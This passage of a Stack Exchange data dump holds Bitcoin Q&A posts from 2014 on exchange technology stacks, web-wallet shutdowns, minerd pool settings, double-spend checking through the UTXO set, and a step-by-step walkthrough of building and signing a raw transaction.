  <row Id="32684" PostTypeId="2" ParentId="32629" CreationDate="2014-11-23T07:56:32.743" Score="-1" Body="&lt;p&gt;Checking the partial UI rendered pages for &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptsy it seems they are using jquery, bootstrap &lt;/p&gt;&#xA;&#xA;&lt;p&gt;coinsquare is using fast-cgi, Angularjs, Angularjs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;coinsetter seems to be using Java, jquery, bootstrap.js &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mtgox famously used PHP &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Javascript farmework 1.Angularjs 2. Nodejs 3.Phython 4.ruby on rails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really depends upon the skill your team have or is willing to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building a thin client over HTML5, Angularjs, bootstrap,  nodejs, Java are common denominator among many exchanges.&lt;/p&gt;&#xA;" OwnerUserId="13211" LastEditorUserId="2306" LastEditDate="2014-11-23T16:13:48.147" LastActivityDate="2014-11-23T16:13:48.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32686" PostTypeId="2" ParentId="13710" CreationDate="2014-11-23T09:47:14.383" Score="4" Body="&lt;p&gt;Many of the other answers provide some useful information, but the spirit of the question seems to be: &quot;If I have to use [website name] to access my wallet, which I have chosen from a list of competing service options, what happens if that website goes offline?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's important to remember is that the wallet is not actually on any of these websites - or even on your computer if you create one locally. Another answer suggested that the solution is to never use a website and only use a computer, but that doesn't properly address the question because it could just be rephrased as &quot;what happens if my computer burns up in a fire along with all my backups&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that many websites, along with offline programs, allow you to import/export you wallet. These are all the same address so they synchronize together. If it is an encrypted wallet you need to know the pass phrase that was randomly generated when the wallet was created. In the event that you don't know the pass phrase the wallet is gone forever. If you have the pass phrase, but never bothered to create a backup, there are steps you can follow that will allow you to recover the information needed to import to any other wallet service and continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer the spirit of your question: As long as to take some personal responsibility to secure your own information the wallet will remain accessible to you even if a given service goes under.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4920/my-client-stopped-synchronizing-how-can-i-access-my-wallet&quot;&gt;over here&lt;/a&gt; that goes into detail on how to recover your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event that you neglect to secure your wallet, and the service goes under, the Bitcoins still exist, but they will never be used by anyone ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still concerned you could use the paper wallet feature. As explained &lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, this involves taking your Bitcoins offline and storing on a code on paper just like dollars. Of course, this makes them as secure (or not) as real physical dollar bills.&lt;/p&gt;&#xA;" OwnerUserId="21253" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-11-23T09:47:14.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32687" PostTypeId="1" CreationDate="2014-11-23T11:49:20.120" Score="1" ViewCount="963" Body="&lt;p&gt;I've started a mining account of Wemineltc.com, and have decided to go down the track of CPU mining.  I looked up the relative tutorials on how to do so, and I got some different results.  I set the proxy batch file to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mining_proxy.exe -o freedom.wemineltc.com -p3339&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the minerd batch file to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -a scrypt -o stratum+tcp://freedom.wemineltc.com:3339 -O USER.1:12345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of the tutorials says instead to use the minerd command line of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minderd -a scrypt http://127.0.0.1:8332 -O USER.1:12345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the latter minerd command line and it didn't mine, so I tried my own version.  Is there any explanation to this? Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="21224" LastEditorUserId="2306" LastEditDate="2014-11-23T16:22:39.367" LastActivityDate="2014-11-23T16:30:55.830" Title="miner_proxy and minerd Settings" Tags="|litecoin|nodes|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32689" PostTypeId="2" ParentId="32671" CreationDate="2014-11-23T13:17:51.933" Score="1" Body="&lt;p&gt;I don't see any delay here.  Looking at Bitcoin Core 0.9.3's code, I also don't see any code which would cause a delay as long as the node sending the &lt;code&gt;inv&lt;/code&gt; responded to a &lt;code&gt;getdata&lt;/code&gt; message immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions and blocks are placed into to separate queues in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/main.cpp#L3620-L3626&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!fAlreadyHave) {&#xA;    if (!fImporting &amp;amp;&amp;amp; !fReindex) {&#xA;        if (inv.type == MSG_BLOCK)&#xA;            AddBlockToQueue(pfrom-&amp;gt;GetId(), inv.hash);&#xA;        else&#xA;            pfrom-&amp;gt;AskFor(inv);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transactions and blocks are requested in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/main.cpp#L4380-4428&quot; rel=&quot;nofollow&quot;&gt;this long piece of code&lt;/a&gt;, which I won't paste here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any delays here for transaction requests.  I also tested this locally, and my node always immediately replied to a new &lt;code&gt;inv&lt;/code&gt; message (type=tx) with a &lt;code&gt;getdata&lt;/code&gt; message requesting that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can be a delay in relaying transactions.  For example: node A sends an &lt;code&gt;inv&lt;/code&gt; message for a new transaction to node B.  Node B gets the transaction, but then waits before sending an &lt;code&gt;inv&lt;/code&gt; message to node C announcing that transaction.  You can see that in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/main.cpp#L4345-4361&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt; which includes the comment, &quot;trickle out tx inv to protect privacy&quot;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-23T13:17:51.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32690" PostTypeId="2" ParentId="32687" CreationDate="2014-11-23T16:30:55.830" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. &lt;a href=&quot;https://github.com/slush0/stratum-mining-proxy&quot; rel=&quot;nofollow&quot;&gt;mining_proxy&lt;/a&gt; is used to translate from stratum to the old getwork protocol. This is useful if you want to use a mining program that does not support stratum, but you still want to get the benefits of stratum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, minerd supports stratum out of the box. You don't need mining_proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should remove the first and third commands.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-23T16:30:55.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32692" PostTypeId="2" ParentId="10395" CreationDate="2014-11-23T23:02:01.563" Score="3" Body="&lt;p&gt;I use Balances.io to track my Bitcoin, Litecoin and Dogecoin balances.  You never use a private key.  It simply monitors the balance contained in the public addresses.  I am not the owner of this website, only a user.  I am in a similar situation where I have cold storage wallets and I want to keep track of those balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://balances.io/&quot; rel=&quot;nofollow&quot;&gt;https://balances.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-11-23T23:02:01.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32694" PostTypeId="2" ParentId="13710" CreationDate="2014-11-24T07:49:27.203" Score="0" Body="&lt;p&gt;Same thing as what happens to gold if the gold people decide to shut down the gold website.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-24T07:49:27.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32695" PostTypeId="2" ParentId="32628" CreationDate="2014-11-24T11:33:25.957" Score="52" Body="&lt;p&gt;&lt;strong&gt;Step-by-step description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We start creating a new transaction which we hash and sign.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add four-byte version field: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;One-byte varint specifying the number of inputs: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;32-byte hash of the transaction from which we want to redeem an output (reverse order): &lt;code&gt;be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Four-byte field denoting the output index we want to redeem from the transaction with the above hash (counting from zero): &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now comes the scriptSig. For the purpose of signing the transaction, this is temporarily filled with the scriptPubKey of the output we want to redeem. First we write a one-byte varint which denotes the length of the scriptSig (0x19 = 25 bytes): &lt;code&gt;19&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we write the actual scriptSig (which is the scriptPubKey of the output we want to redeem): &lt;code&gt;76 a9 14 dd6cce9f255a8cc17bda8ba0373df8e861cb866e 88 ac&lt;/code&gt; (look to the bottom line line on &lt;a href=&quot;https://blockchain.info/tx/96534da2f213367a6d589f18d7d6d1689748cd911f8c33a9aee754a80de166be?show_adv=true&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/96534da2f213367a6d589f18d7d6d1689748cd911f8c33a9aee754a80de166be?show_adv=true&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Then we write a four-byte field denoting the sequence. This is currently always set to 0xffffffff: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Next comes a one-byte varint containing the number of outputs in our new transaction. We will set this to 1 in this example: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;We then write an 8-byte field (64 bit integer, little-endian) containing the amount we want to redeem from the specified output. I will set this to the total amount available in the output minus a fee of 0.0001 BTC (128307 - 10000): &lt;code&gt;23ce010000000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we start writing our transaction's output. We start with a one-byte varint denoting the length of the output script (0x19 or 25 bytes): &lt;code&gt;19&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then the actual output script: &lt;code&gt;76 a9 14 a2fd2e039a86dbcf0e1a664729e09e8007f89510 88 ac&lt;/code&gt; ( this is transferring funds back to address 1FromKBPAS8MWsk1Yv1Yiu8rJbjfVioBHc )&lt;/li&gt;&#xA;&lt;li&gt;Then we write the four-byte &quot;lock time&quot; field: &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;And at last, we write a four-byte &quot;hash code type&quot; (1 in our case): &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OK, the result is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396&#xA;00000000&#xA;19 76 a9 14 dd6cce9f255a8cc17bda8ba0373df8e861cb866e 88 ac&#xA;ffffffff&#xA;01&#xA;23ce010000000000&#xA;19 76 a9 14 a2fd2e039a86dbcf0e1a664729e09e8007f89510 88 ac&#xA;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;14&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Now we double-SHA256 hash this entire structure, which yields the hash &lt;code&gt;1cde0239b55717cca8003104abc2ec2673d4f6fabea0b74351940e382e88486f&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now we should create ECDSA signature... &#xA;&lt;code&gt;1MBngSqZbMydscpzSoehjP8kznMaHAzh9y&lt;/code&gt; is a brainwallet of &lt;em&gt;&quot;mrbubbymrbubbymrbubby!&quot;&lt;/em&gt;, which just happens to encode an address starting in &lt;em&gt;'MB'&lt;/em&gt; (making linking the 2 quite easy; see @WizardOfAussie comment below for phrase origins). &#xA;Private key in WIF: &lt;code&gt;5HvofFG7K1e2aeWESm5pbCzRHtCSiZNbfLYXBvxyA57DhKHV4U3&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In hex, the private key is &lt;code&gt;0ecd20654c2e2be708495853e8da35c664247040c00bd10b9b13e5e86e6a808d&lt;/code&gt;. There is a sign (key, digest) method in every crypto lib. It will return an array of bytes. This array will be no more than 72 bytes, and start with hex code 30. Lets imagine that the signature is &lt;code&gt;3046022100cf4d7571dd47a4d47f5cb767d54d6702530a3555726b27b6ac56117f5e7808fe0221008cbb42233bb04d7f28a715cf7c938e238afde90207e9d103dd9018e12cb7180e&lt;/code&gt;&#xA; To this signature we append the one-byte hash code type: &lt;code&gt;01&lt;/code&gt;. The public key for 1MBngSqZbMydscpzSoehjP8kznMaHAzh9y is: &lt;code&gt;042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;16&quot;&gt;&#xA;&lt;li&gt;We construct the final scriptSig by concatenating: &amp;lt;One-byte script OPCODE containing the length of the DER-encoded signature plus the one-byte hash code type&amp;gt;|&amp;lt; The actual DER-encoded signature plus the one-byte hash code type&amp;gt;|&amp;lt; One-byte script OPCODE containing the length of the public key&amp;gt;|&amp;lt;The actual public key&amp;gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;scriptSig will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;49 3046022100cf4d7571dd47a4d47f5cb767d54d6702530a3555726b27b6ac56117f5e7808fe0221008cbb42233bb04d7f28a715cf7c938e238afde90207e9d103dd9018e12cb7180e 01&#xA;41 042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;first line is 'push signature concatenated with 01', second line is 'push pubkey'. The length of scriptSig is 140 bytes (0x8c in hex)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;17&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;We then replace the one-byte, varint length-field from step 5 with the length of the data from step 16. The length is 140 bytes, or 0x8C bytes: &lt;code&gt;8c&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And we replace the actual scriptSig with the data structure constructed in step 16. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We finish off by &lt;em&gt;removing&lt;/em&gt; the four-byte hash code type we added in step 13, and we end up with the following stream of bytes, which is the final transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01000000&#xA;01&#xA;be66e10da854e7aea9338c1f91cd489768d1d6d7189f586d7a3613f2a24d5396&#xA;00000000&#xA;8c &#xA;49 3046022100cf4d7571dd47a4d47f5cb767d54d6702530a3555726b27b6ac56117f5e7808fe0221008cbb42233bb04d7f28a715cf7c938e238afde90207e9d103dd9018e12cb7180e 01&#xA;41 042daa93315eebbe2cb9b5c3505df4c6fb6caca8b756786098567550d4820c09db988fe9997d049d687292f815ccd6e7fb5c1b1a91137999818d17c73d0f80aef9&#xA;ffffffff&#xA;01&#xA;23ce010000000000&#xA;19 76 a9 14 a2fd2e039a86dbcf0e1a664729e09e8007f89510 88 ac&#xA;00000000&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2017-02-19T21:37:43.760" LastActivityDate="2017-02-19T21:37:43.760" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="32697" PostTypeId="2" ParentId="13710" CreationDate="2014-11-24T18:01:52.857" Score="0" Body="&lt;p&gt;This is why you hear and are told:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;web wallets are bad&quot;  Lesson, keep your own private keys!  (if possible, generate many many blank paper wallets with a computer not connected to the internet.  Send spendable bitcoin to a 'hot wallet' and send your change over to a new paper wallet and throw away the original [you have no way to 'prove' that the private key scanned or typed in was not compromised upon use])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His question is answered with another question - What happens if paypal servers got shut down,  does the money disappear?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely the DB or wallet software implementation they used stored all the private keys for the balances on the wallet server.  If it was on a type of virtual instance and that instance had no backups and it were to be deleted, then the balances would remain there, on the blockchain, but without those private keys, those balances would remain unspendable and effectively useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your TIL moment should be: keep bitcoin across different balances and mediums (its possible to keep them stored on physical pieces of paper and metal too).  Don't trust an online 3rd party like circle or coinbase with large sums of your money. &lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-11-24T18:01:52.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32698" PostTypeId="1" CreationDate="2014-11-24T20:31:15.790" Score="6" ViewCount="1571" Body="&lt;h3&gt;My Understanding Of How Bitcoin Prevents Double Spending&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Each transaction contains references to the input transactions and ever node has to verify all transactions from time immemorial to ensure that the inputs are in fact unspent. Once this is confirmed, and subject to other conditions, the transaction can be added to the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not fathom the practicality of  what this means, lets say there have already been 50 million transactions on bit coin, for the transaction after the 50 millionth, each input transaction reference will have been looked against 50 million rows to see if it appears anywhere as an input transactions (it shouldn't) and it was in fact an output transaction &lt;code&gt;then benefiting the now spender&lt;/code&gt;. This is done for all transactions being broadcast in an interval of time before miners can start working for that good looking cipher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However to make this simple, each nodes maintains a list of unspent transaction references of all nodes (say U list), when is used as a starting point and updated every time a transaction is added and these updates are committed across the network  after a transaction block is confirmed giving the starting point of the next block.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;My Questions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Sounds too much hard work for this to be practical. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does it mean that every miner will have a database of those 50 million records? Isn't that a massive and expensive requirement?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every miner will compare each input transaction references  to each of those 50 million before including the new transaction in a  block to ensure that it has not been spent already and was in fact valid?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quoting myself,  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;however to make this simple, each nodes maintains a list of unspent transaction references of all nodes (say U list), when is used as a starting point and updated every time a transaction is added and these updates are committed across the network  after a transaction block is confirmed giving the starting point of the next block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Doesn't this go against the principle of not having a book showing each node's balance? In case a node has only 2, 3, 5, or 5000 unspent input transaction references. This more or less boils down to a book of balances  that needs to be referred to for each transaction before block inclusion and the new block is committed over it on confirmation (i.e. when a proof of work is found). Does it not?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Given the above post, how close am I to understanding controls over double spending? I am a CPA trying to get my head around this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Preliminary Doubt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Only miners need bother about assembling transactions in blocks. Shoppers and Payers may execute transactions and simply await block confirmation. All transactions shall be broadcast to them and they need not bother recording those unless they are involved or a block confirmation is broadcast.&lt;/p&gt;&#xA;" OwnerUserId="21267" LastEditorUserId="21267" LastEditDate="2014-11-25T08:28:34.473" LastActivityDate="2014-11-25T08:28:34.473" Title="Double Spending - Does each node maintain a list of unspent transaction references?" Tags="|blockchain|doublespend|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32699" PostTypeId="2" ParentId="32698" CreationDate="2014-11-24T20:56:54.563" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Does it mean that every miner will have a database of those 50 million records ???!!!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No need to keep in database all 50 millions. Node keeps in database only &lt;strong&gt;unspent&lt;/strong&gt; yet outputs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Every miner will compare each input transaction references to each of those 50 million before&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is very simple operation. No need to compare with all records, but search in sorted array.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-11-24T21:21:54.790" LastActivityDate="2014-11-24T21:21:54.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32701" PostTypeId="2" ParentId="32698" CreationDate="2014-11-24T21:05:41.757" Score="10" Body="&lt;p&gt;Each full node must maintain a list of all unspent outputs. Currently there are 15 million unspent outputs with a total size of 525 MB. To check whether a new transaction is a double-spend, Bitcoin sees whether the outputs being spent are in this unspent transaction output (UTXO) database. If they are, the new transaction is not a double-spend, and if the transaction meets the other validity requirements, the spent outputs will be removed from the UTXO database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for a transaction in the UTXO database is extremely fast because the outputs are ordered by transaction hash, so searching can be done using &lt;a href=&quot;http://en.wikipedia.org/wiki/Binary_search_algorithm&quot;&gt;binary search&lt;/a&gt;. That means that even though there are more than 15 million UTXOs, finding a particular UTXO given its transaction hash requires looking at only ~24 database locations in the worst case, which a computer can do very quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is complicated somewhat by the fact that transactions can rarely become invalid after initially being valid (after a &lt;a href=&quot;https://en.bitcoin.it/wiki/Chain_Reorganization&quot;&gt;reorganization&lt;/a&gt;), so full nodes must be able to roll back at least the last few weeks of changes to the UTXO database. Bitcoin Core implements this by keeping a log of each change to the UTXO database and reversing each change in the log in reverse order when a rollback is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every full node does have enough information to compute the current balance of any address, though Bitcoin never actually deals in balances directly.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-11-24T21:11:38.413" LastActivityDate="2014-11-24T21:11:38.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32703" PostTypeId="1" AcceptedAnswerId="32711" CreationDate="2014-11-25T03:01:22.663" Score="0" ViewCount="209" Body="&lt;p&gt;My service automatically accepts, processes and sends payments to its users. It connects to bitcoind through its JSON-RPC API and makes use of the &lt;code&gt;raw transactions&lt;/code&gt; interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going to happen in this case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The service receives 3 payments by 3 different users.&lt;/li&gt;&#xA;&lt;li&gt;All payments are included into the next block so they now have one confirmation.&lt;/li&gt;&#xA;&lt;li&gt;Upon one confirmation, the service forms a new TX that spends these 3 outputs. The appropriate fee is attached. The TX is now valid but unconfirmed.&lt;/li&gt;&#xA;&lt;li&gt;A few seconds later a double-spend attack in one of the TX's (now-spent) outputs comes in place.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As I find it hard to reproduce the scenario above, my question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the best way for the service to detect this double-spending attack through the RPC API?&lt;/li&gt;&#xA;&lt;li&gt;Once it detects the double-spending and realizes that the TX will never get confirmed, can it re-spend the same outputs (not including the one that has been double-spent) right away in the case of a race-attack?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="14319" LastEditDate="2014-11-25T12:20:24.627" LastActivityDate="2014-11-25T15:01:35.590" Title="How to detect a race attack and re-spend the already-spent outputs?" Tags="|json-rpc|doublespend|raw-transaction|race-attack|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32704" PostTypeId="2" ParentId="32629" CreationDate="2014-11-25T03:36:34.473" Score="2" Body="&lt;p&gt;A lot of &lt;a href=&quot;http://www.slideshare.net/PyData/python-in-the-financial-industry-felix-fernandez&quot; rel=&quot;nofollow&quot;&gt;financial industry&lt;/a&gt; prefers &lt;a href=&quot;http://python.org/&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;. Some remarkable Bitcoin exchanges, like Bitstamp and LocalBitcoins are built on the top of Python and &lt;a href=&quot;https://www.djangoproject.com/&quot; rel=&quot;nofollow&quot;&gt;Django&lt;/a&gt; web framework (though there exist other web frameworks you might want to use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons to choose Python include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open source ecosystem with a lot of modules to choose from, like &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;ones&lt;/a&gt; for Bitcoin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is not only web development language, but has large use base in scientific computing, making it ideal for data analysis and number crunching (see e.g. &lt;a href=&quot;http://ipython.org/&quot; rel=&quot;nofollow&quot;&gt;IPython&lt;/a&gt;, &lt;a href=&quot;http://www.numpy.org/&quot; rel=&quot;nofollow&quot;&gt;NumPy&lt;/a&gt; projects). This makes Python different from Ruby, which is more heavily web only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Python applications have very good security track record, compared to e.g. PHP applications. To confirm this, see CVE entries to the programming language, related frameworks (&lt;a href=&quot;http://www.cvedetails.com/product/18230/Python-Python.html?vendor_id=10210&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;, &lt;a href=&quot;http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unlike more static languages, like Java and C#, which optimize CPU-bound performance, Python optimizes development time, making it very productive. You can always port your code to more heavy platform if your service grows popular and you have money to spend. This is especially important if your project is not backed up by a big corporation, but more startup oriented.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-11-25T03:36:34.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32705" PostTypeId="1" CreationDate="2014-11-25T06:30:46.057" Score="1" ViewCount="254" Body="&lt;p&gt;My application is using &lt;code&gt;bitcoinj-0.11.3&lt;/code&gt;. I am using &lt;a href=&quot;http://plan99.net/~mike/bitcoinj/0.11/com/google/bitcoin/core/Wallet.html#getBalance(com.google.bitcoin.core.Wallet.BalanceType)&quot; rel=&quot;nofollow&quot;&gt;Wallet.getBalance(balanceType)&lt;/a&gt; to read wallet balance. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For &lt;code&gt;AVAILABLE&lt;/code&gt; I get 8.94106037&lt;br&gt;&#xA;This is supposed to include all confirmed transactions.&lt;/li&gt;&#xA;&lt;li&gt;For &lt;code&gt;ESTIMATED&lt;/code&gt; I get 22.43822671.&lt;br&gt;&#xA;This mode assumes that all of the transactions in the memory pool are included into the blockchain.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Knowing my transactions this looks inaccurate as confirmed by &lt;a href=&quot;http://tbtc.blockr.io/address/info/mnJGoxK2iBqQ6BGHBEYpg4GsdPJcQ8MfKs&quot; rel=&quot;nofollow&quot;&gt;blockr&lt;/a&gt; which indicates a balance of 24.48442767. Note that this doesn't include unconfirmed transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there are two inaccuracies here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;22.43822671 vs 24.48442767&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AVAILABLE&lt;/code&gt; shows ~9 when it should show ~24.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While blockr balance seems right my funds keep in pending state. I suspect that wallet balance calculation is somehow 